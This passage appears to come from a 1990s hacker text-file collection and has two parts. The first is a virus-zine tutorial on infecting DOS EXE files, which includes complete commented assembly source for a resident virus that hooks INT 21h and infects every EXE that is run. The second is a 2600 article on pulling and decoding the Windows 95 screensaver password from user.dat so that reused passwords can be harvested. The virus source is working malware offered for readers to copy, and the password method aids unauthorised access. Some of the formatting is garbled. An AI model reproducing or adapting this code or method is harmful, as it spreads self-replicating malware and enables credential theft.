ÚÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Program Image
³ ³
³ ³
PROGRAM IN MEMORY
PSP
³
1000:0000
call 0001:0000 ³ ÀÄÄ> call 1011:0000
nop
mov ax, 0003
³
nop
³
1010:0000 <ÄÙ
1010:0005
ÀÄÄÄÄ> mov ax, 1013
mov ds, ax
³
mov ds, ax
1010:0006
1010:0009
Note: I hope you appreciate my use of the little arrows, because it
cost me a testicle to do it by hand using the Alt+??? keys in
Norton Commander Editor.
% Infecting the EXE %
Once it has been determined that the file is an EXE and NOT a
COM, use the following steps to infect it:
-
Obtain the file size and calculate the CS:IP
This is complex. Most, if not all, viruses add 1 to 15
garbage bytes to round out to a paragraph. This allows you to
calculate CS in such a way that IP does not vary from file to
file. This, in turn, allows you to write the virus without
"reallocation" since it will always run with the same offset,
making the virus both less complex and smaller. The (minimal)
effort expended in writing these 1 - 15 bytes is justified by
these benefits.
-
Add the virus to the end of the file.
Well, I'm sure that by now you are familiar function 40H of
Int 21H, right?
-
:-)
Calculate the SS:SP
When infecting an EXE it is necessary for the virus to "fix"
itself a new stack since otherwise the host's stack could be
superimposed over the virus code and have it be overwritten
when the code is executed. The system would then hang.
Generally, SS is the same as the calculated CS, and SP is
constant (you can put it after the code). Something to keep
in mind: SP can never be an odd number because, even though it
will work, it is an error and TBSCAN will catch it. (TBSCAN
detects 99% of the virus stacks with the "K" flag. The only
way to elude this that I'm aware of, is to place the stack
AHEAD of the virus in the infected file, which is a pain in
the ass because the infection size increases and you have to
write more "garbage" to make room for the stack.
-
Modify the size shown in the header
Now that you've written the virus, you can calculate the final
size and write it in the header. It's easy: place the size
divided by 512 plus 1 in 'pages' and the rest in 'remainder'.
All it takes is one DIV instruction.
-
Modify the "MinAlloc"
In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS
will give it all the available memory. In such cases, there
is more than enough room for HOST+VIRUS. But, two things
could happen:
1.
It could be that "MaxAlloc" is not set to FFFF, in which
case only the minimum memory is granted to the host and
possibly nothing for the virus.
2.
It could be that there is too little memory available,
thus when the system gives the program "all the available
memory" (as indicated by FFFF) there may still be
insufficient memory for HOST+VIRUS.
In both cases, the virus does not load and the system halts.
To get around this, all that needs to be done is to add to
"MinAlloc" the size of the virus in "paragraphs". In the
first case, DOS would load the program and everything would
work like a charm. In the second case, DOS would not execute
the file due to "insufficient memory".
Well, that's all. Just two last little things: when you write an
EXE infector, we are interested not only in the infection routine
but also the installation routine. Keep in mind that in an EXE DS
and ES point to the PSP and are different from SS and CS (which in
turn can be different from each other). This can save you from
hours of debugging and inexplicable errors. All that needs to be
done is to follow the previously mentioned steps in order to infect
in the safe, "traditional" way. I recommend that you study
carefully the virus example below as it illustrates all the topics
we've mentioned.
% Details, Oh, Details ... %
One last detail which is somewhat important, deals with
excessively large EXEs. You sometimes see EXEs which are
larger than 500K. (For example, TC.EXE which was the IDE for
TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very
common; they simply have internal overlays. It's almost
impossible to infect these EXEs for two reasons:
1.
The first is more or less theoretical. It so happens
that it's only possible to direct 1M to registers
SEGMENT:OFFSET. For this reason, it is technically
impossible to infect EXEs 1M+ in size since it is
impossible to direct CS:IP to the end of the file. No
virus can do it. (Are there EXEs of a size greater than
1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!)
2.
The second reason is of a practical nature. These EXEs
with internal overlays are not loaded whole into memory.
Only a small part of the EXE is loaded into memory, which
in turn takes care of loading the other parts AS THEY ARE
NEEDED. That's why its possible to run an 800K EXE (did
you notice that 800K > 640K? :-) ).
How does this fact
make these EXEs difficult to infect? Because once one of
these EXEs has been infected and the virus has made its
modifications, the file will attempt to load itself into
memory in it's entirety (like, all 800K). Evidently, the
system will hang. It's possible to imagine a virus
capable of infecting very large EXEs which contain
internal overlays (smaller than 1M) by manipulating the
"Header Size", but even so I can't see how it would work
because at some point DOS would try to load the entire
file.
% A Special case: RAT %
Understanding the header reallocation process also allows us to
understand the functioning of a virus which infects special EXEs.
We're talking about the RAT virus. This virus takes advantage of
the fact that linkers tend to make the headers in caches of 512
bytes, leaving a lot of unused space in those situations where
there is little reallocation.
This virus uses this unused space in order to copy itself
without using the header (of the file allocation table). Of
course, it works in a totally different manner from a normal EXE
infector. It cannot allow any reallocation; since its code is
placed BEFORE the host, it would be the virus code and not the host
which is reallocated. Therefore, it can't make a simple jump to
the host to run it (since it isn't reallocated); instead, it must
re-write the original header to the file and run it with AX=4B00,
INT 21.
% Virus Example %
OK, as behooves any worthwhile virus 'zine, here is some totally
functional code which illustrates everything that's been said about
infecting EXEs. If there was something you didn't understand, or
if you want to see something "in code form", take a good look at
this virus, which is commented OUT THE ASS.
-------------------- Cut Here -----------------------------------;NOTE: This is a mediocre virus, set here only to illustrate EXE
; infections. It can't infect READ ONLY files and it modifies the
; date/time stamp. It could be improved, such as by making it
; infect R/O files and by optimizing the code.
;
;NOTE 2: First, I put a cute little message in the code and second,
; I made it ring a bell every time it infects. So, if you infect
; your entire hard drive, it's because you're a born asshole.
code segment para public
assume cs:code, ss:code
VirLen
equ
VirBegin label
offset VirEnd - offset VirBegin
byte
Install:
mov ax, 0BABAH ; This makes sure the virus doesn't go resident
; twice
int 21h
cmp ax, 0CACAH ; If it returns this code, it's already
; resident
jz AlreadyInMemory
mov ax, 3521h ; This gives us the original INT 21 address so
int 21h
; we can call it later
mov cs:word ptr OldInt21, bx
mov cs:word ptr OldInt21+2, es
mov ax, ds
; ¥
dec ax
; |
mov es, ax
; |
mov ax, es:[3] ; block size
; | If you're new at this,
; | ignore all this crap
sub ax, ((VirLen+15) /16) + 1
; | (It's the MCB method)
xchg bx, ax
; | It's not crucial for EXE
mov ah,4ah
; | infections.
push ds
; | It's one of the ways to
pop es
; | make a virus go resident.
int 21h
; |
mov ah, 48h
; |
mov bx, ((VirLen+15) / 16)
; |
int 21h
; |
dec ax
; |
mov es, ax
; |
mov word ptr es:[1], 8
; |
inc ax
; |
mov es, ax
; |
xor di, di
; |
xor si, si
; |
push ds
; |
push cs
; |
pop ds
; |
mov cx, VirLen
; |
repz movsb
; /
mov ax, 2521h ; Here you grab INT 21
mov dx, offset NewInt21
push es
pop ds
int 21h
pop ds
; This makes DS & ES go back to their original
; values
push ds
; IMPORTANT! Otherwise the EXE will receive the
pop es
; incorrect DE & ES values, and hang.
AlreadyInMemory:
mov ax, ds
; With this I set SS to the
; Header value.
add ax, cs:word ptr SS_SP
; Note that I "reallocate" it
; using DS since this is the
add ax, 10h
mov ss, ax
; the segment into which the
; program was loaded. The +10
; corresponds to the
mov sp, cs:word ptr SS_SP+2
; PSP. I also set SP
mov ax, ds
add ax, cs:word ptr CS_IP+2
add ax, 10h
; Now I do the same with CS &
; IP. I "push" them and then I
; do a retf. (?)
push ax
mov ax, cs:word ptr CS_IP
; This makes it "jump" to that
; position
push ax
retf
NewInt21:
cmp ax, 0BABAh ; This ensures the virus does not go
jz PCheck
; resident twice.
cmp ax, 4b00h ; This intercepts the "run file" function
jz Infect ;
jmp cs:OldInt21 ; If it is neither of these, it turns control
; back to the original INT21 so that it
; processes the call.
PCheck:
mov ax, 0CACAH
iret
; This code returns the call.
; return.
; Here's the infection routine. Pay attention, because this is
; "IT".
; Ignore everything else if you wish, but take a good look at this.
Infect:
push ds
; We put the file name to be infected in DS:DX.
push dx
; Which is why we must save it.
pushf
call cs:OldInt21 ; We call the original INT21 to run the file.
push bp
mov bp, sp
; We save all the registers.
; This is important in a resident routine,
;since if it isn't done,
push ax
; the system will probably hang.
pushf
push bx
push cx
push dx
push ds
lds dx, [bp+2] ; Again we obtain the filename (from the stack)
mov ax, 3d02h ; We open the file r/w
int 21h
xchg bx, ax
mov ah, 3fh
; Here we read the first 32 bytes to memory.
mov cx, 20h
; to the variable "ExeHeader"
push cs
pop ds
mov dx, offset ExeHeader
int 21h
cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a
jz Continue
; "real" EXE or if it's a COM.
jmp AbortInfect
; If it's a COM, don't infect.
Continue:
cmp ds:word ptr Checksum, 'JA' ; This is the virus's way
; of identifying itself.
jnz Continue2
; We use the Header Chksum for this
jmp AbortInfect
; It's used for nothing else. If
; already infected, don't re-infect. :-)
Continue2:
mov ax, 4202h ; Now we go to the end of file to see of it
cwd
; ends in a paragraph
xor cx, cx
int 21h
and ax, 0fh
or ax, ax
jz DontAdd
; If "yes", we do nothing
mov cx, 10h
; If "no", we add garbage bytes to serve as
sub cx, ax
; Note that the contents of DX no longer matter
mov ah, 40h
; since we don't care what we're inserting.
int 21h
DontAdd:
mov ax, 4202h ; OK, now we get the final size, rounded
cwd
xor cx, cx
; to a paragraph.
int 21h
mov cl, 4 ; This code calculates the new CS:IP the file must
shr ax, cl ; now have, as follows:
mov cl, 12 ; File size: 12340H (DX=1, AX=2340H)
shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
add dx, ax ; DX now has the CS value it must have.
sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of
; paragraphs from the header
push dx
; and save the result in the stack for later.
; <------- Do you understand why you can't infect
; EXEs larger than 1M?
mov ah, 40h
; Now we write the virus to the end of the file.
mov cx, VirLen ; We do this before touching the header so that
cwd
; CS:IP or SS:SP of the header (kept within the
; virus code)
int 21h
; contains the original value
; so that the virus installation routines work
; correctly.
pop dx
mov ds:SS_SP, dx
; Modify the header CS:IP so that it
; points to the virus.
mov ds:CS_IP+2, dx
; Then we place a 100h stack after the
mov ds:word ptr CS_IP, 0
; virus since it will be used by
; the virus only during the installation process. Later, the
; stack changes and becomes the programs original stack.
mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2
; the previous command SP to have an even value, otherwise
; TBSCAN will pick it up.
mov ax, 4202h ; We obtain the new size so as to calculate the
xor cx, cx
cwd
; size we must place in the header.
int 21h
mov cx, 200h
; We calculate the following:
div cx
; FileSize/512 = PAGES plus remainder
inc ax
; We round upwards and save
mov word ptr ds:ExeHeader+2, dx ; it in the header to
mov word ptr ds:ExeHeader+4, ax ; write it later.
mov word ptr ds:Checksum, 'JA'; We write the virus's
; identification mark in the
; checksum.
add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h
; We add the number of paragraphs to the "MinAlloc"
; to avoid memory allocation problems (we also add 10
; paragraphs for the virus's stack.
mov ax, 4200h ; Go to the start of the file
cwd
xor cx, cx
int 21h
mov ah, 40h
; and write the modified header....
mov cx, 20h
mov dx, offset ExeHeader
int 21h
mov ah, 2 ; a little bell rings so the beginner remembers
mov dl, 7
; that the virus is in memory. IF AFTER ALL
int 21h
; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR
; NUTS.
AbortInfect:
mov ah, 3eh
; Close the file.
int 21h
pop ds
; We pop the registers we pushed so as to save
pop dx
; them.
pop cx
pop bx
pop ax;flags
; This makes sure the flags are passed
mov bp, sp
; correctly. Beginners can ignore this.
mov [bp+12], ax
pop ax
pop bp
add sp, 4
iret
; We return control.
; Data
OldInt21 dd
0
; Here we store the original INT 21 address.
ExeHeader db
0eh DUP('H');
SS_SP
dw
Checksum dw
0
CS_IP
dw
dw
0, offset VirEnd+100h
offset Hoste,0
0,0,0,0
; This is the EXE header.
VirEnd
label
byte
Hoste:
; This is not the virus host, rather the "false host" so that
; the file carrier runs well
:-).
mov ah, 9
mov dx, offset MSG
push cs
pop ds
int 21h
mov ax, 4c00h
int 21h
MSG db "LOOK OUT! The virus is now in memory!", 13, 10
db "And it could infect all the EXEs you run!", 13, 10
db "If you get infected, that's YOUR problem", 13, 10
db "We're not responsible for your stupidity!$"
ends
end
-------------------- Cut Here -------------------------------------
% Conclusion %
OK, that's all, folks. I tried to make this article useful for
both the "profane" who are just now starting to code Vx as well as
for those who have a clearer idea. Yeah, I know the beginners
almost certainly didn't understand many parts of this article due
the complexity of the matter, and the experts may not have
understood some parts due to the incoherence and poor descriptive
abilities of the writer. Well, fuck it.
Still, I hope it has been useful and I expect to see many more
EXE infectors from now on. A parting shot: I challenge my readers
to write a virus capable of infecting an 800K EXE file (I think
it's impossible). Prize: a lifetime subscription to Minotauro
Magazine :-).
Trurl, the great "constructor"
Cracking the Windows 95 Screen Saver Password
Article Extracted from 2600 Magazine
Volume 13 #4
=============================================
Defeating the Windows 95 Screensaver
by rdpzza
While many may consider this a trivial exercise, cracking
the password scheme for Win95 may be useful to some of
you out there.
Some may even find ways to have phun with
it as well.
To start with, you need to know where to look. In 3.1, the password was kept in
the control.ini.
Although 95 also uses the control.ini, it does not use it for
keeping the password information. Foe 95, you will have to look in each of
the user.dat files. I say each because if you have multiple users, each user
may have a profile saved on the hard drive. The default user.dat file is
in the \windows directory. The other user.dat files can be found in the directory
\profiles\username where username changes. As you may know, user.dat is one of the
two
files used for the registry and its is very important.
User.dat will carry the
attributes
"shr" so you will have to look accordingly.
Also, since it is so important, a backup
is
kept, namely user.da0. This may be the previous user.dat, say when the user changed
passwords...
Anyway, now that you have the file, where is it? If you scan the file for passowrd,
you
will come up with the setting of whether or not the screen saver is password protected.
This may be enough for you so you can just change it and be done.
While this little
change
will be noticed, it will get you by the password. If, however, you wish to actually
find out
the what the pass phrase is, read on.
Why find out what the pass phrase is, you ask? Because a lot of times users are stupid,
lazy, have bad memory or any combination of these and reuse passwords or schemes any
time a
key is needed. This is especially true in network environments and even more so when
95
is used as the workstation OS. In such systems, there is the possibility of changing
the
logon password and the screen saver password at the same time.
I wonder how that
can be
useful?
Back to finding out what the phrase is.
95 has been rumored to use dual case.
Let
me
clear this rumor.
3.1.
It does not.
It uses the "all upper" coding for the password like
The maximum length of the screen saver password is 14 characters long. It will allow
you to enter longer passwords, but 95 will act screwy; it won't require the password
from
screen saver, it will hang, etc.
OK, so we have the file. Look for the string "ScreenSaver_Data". After this is an
even
string of numbres and letters ending in 00. THere is the encrypted pass phrase. The
pass phrase is different from 3.1 in that 95 uses what I call "encrypted-couplets"
meaning
that for every character in the phrase, there are two encryption values. The first
encrypted couplet (EC) is the first hex digit of the unencrypted ascii value, and
the second
EC is the second hex digit.
For example, say the first two hex digits after the string
"ScreenSaver_Data" are 31 41 (1A in ASCII). The 31 represents (after decryption) 5
and
the 41, 2. Put the digits together and you have 52h, R in ASCII.
Keep this concept
in
mind while decoding the EC's because the decryption scheme is the same for each value,
only
the key changes.
Example of Screen Saver EC's decoded to password.
1AAAA26473D28 <- code in the user.dat
RDPZZA <- Win95 SS password
Try it out.
Text file downloaded from the HackerZ Hideout @ www.hackersclub.com/km